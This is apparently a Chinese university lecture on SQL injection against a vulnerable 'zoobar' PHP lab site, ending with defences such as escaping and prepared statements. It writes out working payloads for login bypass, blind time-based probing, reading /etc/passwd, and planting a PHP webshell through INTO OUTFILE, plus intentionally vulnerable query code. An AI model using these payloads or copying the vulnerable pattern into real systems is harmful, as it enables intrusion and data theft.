在上課之前呢,我們先來看一下一張圖畫。

現在能看懂這是什麼意思嗎?

如果能看懂,說明對SQL注入已經理解了;如果不能看懂,也沒關係,我們講完之後,大家肯定能懂。

說起SQL大家應該不陌生,關係型資料庫。與網站相關的技術中,也少不了對後臺數據存儲的介紹。

為什麼要攻擊資料庫,也很容易理解是吧。我們之前講XSS,講CSRF,去偷別人的zoobar,如果我們能直接改資料庫,還幹嘛要XSS呢,直接把自己的zoobar的個數變成1000或者10000就行了。

我們這裡對SQL簡單介紹一點。

像增刪查改這些基本的應用大家應該比較熟,insert,delete,update,alter,drop,select。

一條普通的sql語句大概什麼樣呢?

我們一起來用用一下資料庫。常見的命令。

如果語法出錯,會報錯;

進行更新

在進行這種操作的時候請大家一定注意後面的where條件,我自己曾經把資料庫中的攻擊代碼全部清空,就是因為忘記了where條件。

那我們想這樣的問題:sql語句和後臺的伺服器代碼是怎麼樣結合起來的。

我們來看一下最開始創建這個網站的時候使用的建資料庫的語句。

create table Person(PersonID int primary key auto_increment, Password varchar(100),Salt varchar(100),Username varchar(100),Token varchar(100),Zoobars int default 10, Profile varchar(5000));

用戶註冊、登錄都需要後臺資料庫的配合。用戶註冊的時候,是使用用戶提交的用戶名和密碼;用戶更新profile的時候,也需要修改資料庫。用戶登錄的時候,要從資料庫中檢查一下用戶名和密碼是否正確,是否匹配。如果匹配成功了,那麼PHP就會繼續做下面的事情,譬如設置好cookie,並且發送給瀏覽器;跳轉到新的頁面,這樣就是登錄成功了。

我們來想一下,為什麼有時候登錄會不成功?

密碼出錯了;誰告訴瀏覽器不讓我們登錄進去?資料庫。

資料庫說 查無此人;或者這人密碼不對。

直接在mysql的界面或者使用phpmysqladmin界面大家應該都不陌生;對於後臺代碼,可以看到,各種主流的後臺語言PHP、JAVA都提供了對資料庫的支持,只需要execute一條語句就能夠執行。但是首先,我們需要來構造的是需要被執行的語句。

這個語句是怎麼來的?

正常的SQL語法作為一個字元串,拼接上來自前臺的用戶的輸入,形成了一條完整的SQL語句。

在transfer.php、index.php等各個頁面都有這樣的代碼例子。

這麼正常的一個流程,可能會在哪裡出問題?

我們來回顧一下,XSS注入的基本思路是什麼。在開發者期望用戶輸入正常的數據的位置,用戶輸入了什麼呢?輸入了代碼。

所謂的注入,就是要讓別人的系統執行自己的代碼。那我們來想一想,如何能夠讓別人執行我們的代碼?

直接在輸入框中輸入 insert,update,效果是什麼?沒有什麼作用

為什麼呢?

這樣會破壞原本的語法結構,語法報錯。

但是,如果能夠遵循別人的代碼結構呢?

所以,構建SQL注入的一個關鍵點在於自己輸入進去的攻擊代碼要能夠不破壞語法結構。那這時候關鍵的一點是什麼?

黑客要能夠自己的猜測和測試後臺的結構,並且利用這個結構構造出能夠執行的代碼。

我們首先來看一下登錄頁面,假設有一個admin賬戶,黑客很想以這個身份登錄進去。但是他又不知道admin的密碼,怎麼辦呢?

我們來看下,SQL語句成功執行和沒有找到合適的項的區別。如果有查詢到滿足條件的行,那麼就把行返回;如果沒有,就返回空。

那麼sql怎麼判斷條件有沒有滿足呢?

Where 語句中,如果條件對就會返回1,條件不滿足,就返回0。所以SQL語句整個的返回結果取決於where條件的返回結果。我們來試一下。

所以在登錄的時候,就是要求用戶名和密碼要等對的上號,where條件是1。

那我們來動腦筋想想,怎麼樣繞過這一點? 在不知道密碼甚至不知道用戶名的情況下登錄?

我們得來發掘一下mysql的語法。

有and和 or。對吧。來試一下。

我們再來看一下。

也就是說,雖然不知道正確的用戶名和密碼,但是如果能夠輸入or 1作為條件的一部分,那麼就可以成功地通過驗證了。

我們看到,通過使用』、or、以及#我們就成功地作為合法用戶登錄了。

現在回頭來看這個漫畫,是不是能笑出來了?

我們可以先看看 如果是這樣的輸入,結果是什麼?

Select * from Student where 3;
Select * from Student where 『a』;
Select * from Student where 『3』;
Select * from Student where 『3a』;
Select * from Student where 『a3』;

Select * from Student where 0 or 0 and 0;
Select * from Student where 0 or 0 and 1;
Select * from Student where 0 or 1 and 0;
Select * from Student where 0 or 1 and 1;
Select * from Student where 1 or 0 and 0;
Select * from Student where 1 or 0 and 1;
Select * from Student where 1 or 1 and 0;
Select * from Student where 1 or 1 and 1;

通過這些分析,我們可以來試試各種繞過登錄機制的例子。

a and 0

等等。

然後,我們來看一句SQL語句:

看到這個語法,試一下構造一個攻擊。

a,zoobars=100 where username=d;#

那接下來,我們繼續看看,SQL注入還能做什麼。

大家對sql的一些基本語法可能比較熟;但是經常使用SQL可能才知道sql內部還有函數和條件語句。

我們給大家介紹兩個例子。

譬如這樣的。

Name Description
BENCHMARK() Repeatedly execute an expression
CHARSET() Return the character set of the argument
COERCIBILITY() Return the collation coercibility value of the string argument
COLLATION() Return the collation of the string argument
CONNECTION_ID() Return the connection ID (thread ID) for the connection
CURRENT_USER(), CURRENT_USER The authenticated user name and host name
DATABASE() Return the default (current) database name
FOUND_ROWS() For a SELECT with a LIMIT clause, the number of rows that would be returned were there no LIMIT clause
LAST_INSERT_ID() Value of the AUTOINCREMENT column for the last INSERT
ROW_COUNT() The number of rows updated
SCHEMA() Synonym for DATABASE()
SESSION_USER() Synonym for USER()
SYSTEM_USER() Synonym for USER()
USER() The user name and host name provided by the client
VERSION() Return a string that indicates the MySQL server version

BENCHMARK(count,expr)
> SELECT BENCHMARK(1000000,ENCODE(hello,goodbye));
+----------------------------------------------+
| BENCHMARK(1000000,ENCODE(hello,goodbye)) |
+----------------------------------------------+
| 0 |

以及在mysql中可以使用if

那大家覺得看了這些有什麼感覺?能用來做攻擊嗎?

Benchmark和if結合在一起使用

以上這些操作的目的是什麼?

再看一下union的用法。

有什麼利用的方法嗎?

a union select 1,1, if(substring(database(),1,1)=char(122),benchmark (50000000,encode(hello,world)),NULL);#

a union select 1, 2,load_file(/etc/passwd)#

實際上mysql的許可權很高,譬如

Select load_file(「/etc/passwd」);

可以讀硬碟文件;

還可以幹嘛呢?

Select * from Student into outfile 「/tmp/1.txt」

可以寫文件

1 or 1
1 union select 1,2 into outfile /tmp/3.txt

那我們繼續討論下去,sql注入的終極目標是什麼呢?

是webshell。

a union select 1,1,2 into outfile "/home/guoyan/Desktop/myzoo/6.txt"#

union select 1,1,<?php system($_GET[cmd]); ?> into outfile "/home/guoyan/Desktop/myzoo/6.php"#

(注意換行)

<?php system($_GET[cmd]); ?>

然後,通過瀏覽器,直接調用

zoobar.com/6.txt?

zoobar.com/6.php?

a union select 1, 1,』<?php system($_GET[cmd]); ?>』 into outfile 「/home/guoyan/Desktop/myzoo/6.php」;#

http://www.zoobar.com/users.php?user=%27+union+select+1%2C1%2C%27%3C%3Fphp+system%28%24_GET[cmd]%29%3B+%3F%3E%27+into+outfile+%22%2Fhome%2Fguoyan%2FDesktop%2Fmyzoo%2F6.php%22%23+

這個錯誤很有意思,因為忘了/home前面的根目錄,所以暴露了mysql的默認寫目錄

這個攻擊能夠成功,雖然看起來很酷,但是實際上有很多問題,譬如,攻擊者怎麼知道網站的根目錄在哪裡?

以及,這個.php文件是通過MysqlD寫進去的,mysql對文件夾有寫許可權嗎?在我的ubuntu12的系統中,至少要進行以下修改,才能完成這個攻擊。

# Site-specific additions and overrides. See local/README for details.
#include <local/usr.sbin.mysqld>
/home/guoyan/Desktop/myzoo/ rw,
/home/guoyan/Desktop/myzoo/* rw,

我們來總結一下:

1. 首先,因為網站的後臺代碼直接使用用戶的輸入構建自己的資料庫查詢代碼,所以用戶可將sql語句嵌入在自己的輸入中,從而改變後臺sql語句的執行,達到各種攻擊效果;

2. 其次,結合具體的情況,sql注入攻擊可以繞過登錄時的用戶名和密碼驗證;可以進行資料庫名字和用戶猜測等;可以藉助資料庫,向伺服器中注入內容,如PHP代碼,形成webshell等。

在十幾年前,1999年左右的時候,因為當時幾乎所有做網站的人都沒有考慮到會有人這樣來攻擊自己的網站,所以Sql注入漏洞肆虐一時。也許還有一些老網站還沒有進行防禦。

在那之後,人們想到了各種各樣的防禦方式。

如果百度搜索,大家應該能看到一種防禦方式是當用戶進行輸入的時候,過濾』或者對』進行轉義。對』直接進行過濾,很明顯對用戶不友好,因為用戶名字中有可能確實有』。另一方面,PHP配置中有一個magic_quote_gpc的選項,一旦在配置的時候選上之後,PHP代碼就可以在用戶輸入的時候對用戶的輸入進行處理,把所有的特殊符號如』、「等都加上進行轉義。

我們首先來看下,在沒有開啟magic_quote_gpc的時候,如果註冊一個名叫I』s的用戶來看看。對比一下轉義的效果。

和我們預測的差不多,因為多了一個,所以造成語法出錯。

現在我們手動來進行一下轉義——轉義的意思就是忽略的語法功能,當做一個普通的字元。

可以登錄成功。

然後,我們啟動PHP的magic_gpc,我們這會兒是要去改配置的,所以去etc找一找。在php5/apache2/php.ini文件中,將

magic_quotes_gpc = On

然後註冊一個ab,沒問題,可以註冊成功。

如果打開這個選項,那麼基本上,來說,之前討論的login繞過就不能用了。

那我們再來想一想,即使做了這一步,是不是可以完全防禦住sql注入呢?

我們來看一個例子。noprepare.php

<form action="noprepare.php" method=get>
User id:</br>
<input type=text name="id" />

</form>

<?php
$mysql = mysql_connect("localhost","root","root");

if(!$mysql){
printf("connect failed");
exit();
}

if(!mysql_select_db("zoobar",$mysql))
printf("open database failed.");

$sid = $_GET[id];

$query = "select name,profile from Student where StudentID=$sid";

$rs = mysql_query($query,$mysql);

while($result = mysql_fetch_array($rs))
printf("<b>%s</b> profile is <b>%s</b><br>",$result["name"],$result["profile"]);

?>

請大家想一想,來構造一個示例攻擊代碼。

從以上的攻擊代碼中可以發現,其實沒有』也一樣可以成功的。所以magic_quote_gpc在這種情況下也是不管用的,因為這個語句本來就沒有用上。

說了這麼多,那麼sql injection應該怎麼防禦呢?

然後,大概是PHP等後臺代碼也覺得挺麻煩的,於是紛紛推出了prepare_statement。Prepare_statement的作用是規定好需要的參數的類型,同時對用戶的輸入進行鑒別和處理;保證用戶的輸入不可能作為代碼被執行。

在PHP5中,同時支持安全和不安全的SQL語句。在之後,Sql的操作中,只支持這一種,prepare_statement。

我們看一下代碼:

<form action="prepare.php" method=get>
User id:</br>
<input type=text name="id" />

</form>

<?php
$mysqli = new mysqli("localhost","root","root","zoobar");

if(mysqli_connect_errno()){
printf("connect failed: %s
",mysqli_connect_error());
exit();
}

#$username = "lily";
$sid = $_GET["id"];

if($stmt = $mysqli->prepare("select name,profile from Student where StudentId=?")){
$stmt->bind_param(i,$sid);
$stmt->execute();
$stmt->bind_result($name1,$profile1);
$stmt->fetch();
printf("%ss profile is %s
",$name1,$profile1);

$stmt->close();

}
if($stmt = $mysqli->prepare("select profile From Student where Name=?")){
$stmt->bind_param("s",$username);

$stmt->execute();
$stmt->bind_result($profile);

$stmt->fetch();

// printf("%ss profile is %s
",$username,$profile);
$stmt->close();

}
$mysqli->close();

?>

也許再過兩年,學習網站開發的人就再也不用擔心sql注入的威脅了。一種安全問題從發展到壯大,然後再到消亡。但是,它的思路依然是值得借鑒和學習的。


推薦閱讀:
查看原文 >>
相關文章